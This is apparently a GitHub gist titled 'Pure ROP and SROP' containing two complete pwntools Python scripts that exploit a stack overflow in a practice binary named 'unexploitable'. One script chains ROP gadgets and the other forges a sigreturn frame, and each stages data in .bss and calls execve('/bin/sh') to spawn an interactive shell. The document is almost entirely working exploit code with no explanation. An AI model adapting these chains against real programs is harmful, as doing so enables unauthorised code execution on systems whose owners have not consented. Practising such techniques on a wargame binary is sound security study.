Pure ROP and SROP.
#!/usr/bin/env python | |
# coding=utf8 | |
from pwn import p64, process, ELF | |
from time import sleep | |
EXECUTABLE = '/home/unexploitable/unexploitable' | |
elf = ELF(EXECUTABLE) | |
junk = 0xdeadbeef | |
syscall_addr = 0x400560 # 0f 0a(syscall) | |
pop_junk_rbx_rbp_r12_r13_r14_r15_ret = 0x4005e6 | |
mov_call = 0x4005d0 | |
pop_rbp_ret = 0x400512 | |
read_ret = 0x40055b | |
bss_addr = elf.bss() | |
rbp_base = bss_addr + 0x10 | |
syscall_ptr = rbp_base + 8 * 10 | |
sh_str_addr = rbp_base + 8 * 11 | |
# pop_junk_rbx_rbp_r12_r13_r14_r15_ret then call syscall | |
syscall_chain = p64(junk) + p64(0) + p64(junk) + p64(syscall_ptr) | |
syscall_chain += p64(sh_str_addr) + p64(0) + p64(0) | |
syscall_chain += p64(mov_call) | |
syscall_chain += p64(syscall_addr) + '/bin/sh\x00' | |
# point rbp to .bss and read again | |
payload1 = 'A' * 0x10 | |
payload1 += p64(rbp_base) | |
payload1 += p64(read_ret) | |
# prepare last bytes of syscall_chain | |
payload2 = 'A' * 0x10 | |
payload2 += p64(rbp_base) + p64(read_ret) | |
payload2 += 'B' * (0x3b-0x10-2*8) | |
payload2 += syscall_chain[0x3b-0x10-2*8:] | |
# set rax to 0x3b using the return value of read() | |
# and prepare first bytes of syscall_chain | |
payload3 = 'A' * 0x10 | |
payload3 += p64(junk) + p64(pop_junk_rbx_rbp_r12_r13_r14_r15_ret) | |
payload3 += syscall_chain[:0x3b-0x10-2*8] | |
p = process(EXECUTABLE) | |
sleep(3) | |
p.send(payload1) | |
sleep(0.1) | |
p.send(payload2) | |
sleep(0.1) | |
p.send(payload3) | |
p.interactive() |
#!/usr/bin/env python | |
# coding=utf8 | |
from pwn import p64, process, ELF | |
from time import sleep | |
EXECUTABLE = '/home/unexploitable/unexploitable' | |
elf = ELF(EXECUTABLE) | |
junk = 0xdeadbeef | |
syscall_addr = 0x400560 # 0f 0a(syscall) | |
pop_junk_rbx_rbp_r12_r13_r14_r15_ret = 0x4005e6 | |
mov_call = 0x4005d0 | |
pop_rbp_ret = 0x400512 | |
read_ret = 0x40055b | |
bss_addr = elf.bss() | |
rbp_base = bss_addr + 0x10 | |
sh_str_addr = rbp_base + 0x20 + 8 + 0x100 | |
# signal frame | |
sig_frame = p64(syscall_addr) + p64(0) # rt_sigreturn, junk | |
sig_frame += p64(0) * 12 # junks | |
sig_frame += p64(sh_str_addr) + p64(0) # rdi, rsi | |
sig_frame += p64(0) * 2 # junks | |
sig_frame += p64(0) + p64(0x3b) # rdx, rax | |
sig_frame += p64(0) * 2 # junks | |
sig_frame += p64(syscall_addr) + p64(0) # rip, junk | |
sig_frame += p64(0x33) + p64(0) # cs, junk | |
sig_frame += p64(0) * 6 # junks | |
sig_frame += '/bin/sh\x00' | |
# point rbp to .bss and read again | |
payload1 = 'A' * 0x10 | |
payload1 += p64(rbp_base) | |
payload1 += p64(read_ret) | |
# prepare signal frame | |
payload2 = 'A' * 0x10 | |
payload2 += p64(rbp_base+0x20) + p64(read_ret) | |
payload2 += p64(junk) * 2 | |
payload2 += p64(junk) + sig_frame | |
# set rax to 0xf using return value of read() | |
payload3 = 'B' * 0xf | |
p = process(EXECUTABLE) | |
sleep(3) | |
p.send(payload1) | |
sleep(0.1) | |
p.send(payload2) | |
sleep(0.1) | |
p.send(payload3) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment